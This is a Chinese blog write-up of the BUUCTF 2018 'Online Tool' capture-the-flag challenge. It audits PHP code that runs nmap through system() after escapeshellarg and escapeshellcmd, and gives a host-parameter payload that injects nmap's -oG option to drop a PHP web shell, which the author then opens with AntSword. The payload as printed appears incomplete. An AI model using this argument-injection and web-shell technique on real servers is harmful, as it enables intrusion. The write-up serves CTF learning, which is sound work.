Xxiaoma解题[BUUCTF 2018]Online Tool
1.[GXYCTF2019]Ping Ping Ping 1 - Xxiaoma解题2.[极客大挑战 2019]EasySQL 1 -Xxiaoma解题3.Xxiaoma解题 [GWCTF 2019]我有一个数据库
4.Xxiaoma解题[BUUCTF 2018]Online Tool
典型的PHP代码审计
开始审计
^()[]{}$\, \x0A和\xFF以及不配对的单/双引号转义 $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); //新建目录,默认权限,最大可能的访问权 chdir($sandbox); //改变目录路径,成功返回true,失败返回false echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); // -sT,在目标主机的日志上记录大批连接请求和错误的信息 // -Pn,扫描之前不需要用ping命令,有些防火墙禁止使用ping命令 // -T5,时间优化参数,-T0~5,-T0扫描端口的周期大约为5分钟,-T5大约为5秒钟 // --host-time限制扫描时间 // -F,快速扫描 主要看这个$host = escapeshellarg($host); $host = escapeshellcmd($host); escapeshellarg和escapeshellcmd是两个php函数 escapeshellarg: 返回一个转义的字符串,并且结果会被单引号包裹起来 escapeshellcmd: 将下面这些字符转义,即加上\,确保不会解释为shell操作符 & ; | ' " > < \ * ? ~ ^ ( ) [ ] { } $ \n 最后构造payload为: ?host=' -oG mh.php 'http://092a6117-456e-4f49-8435-b717859a695b.node5.buuoj.cn:81/48e2cd8d887cf3cd1da273a3def88ede/mh.php
使用蚁剑链接即可获取flag
本文作者:Xxiaomaa
本文链接:https://www.cnblogs.com/mhwq/p/18528139
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步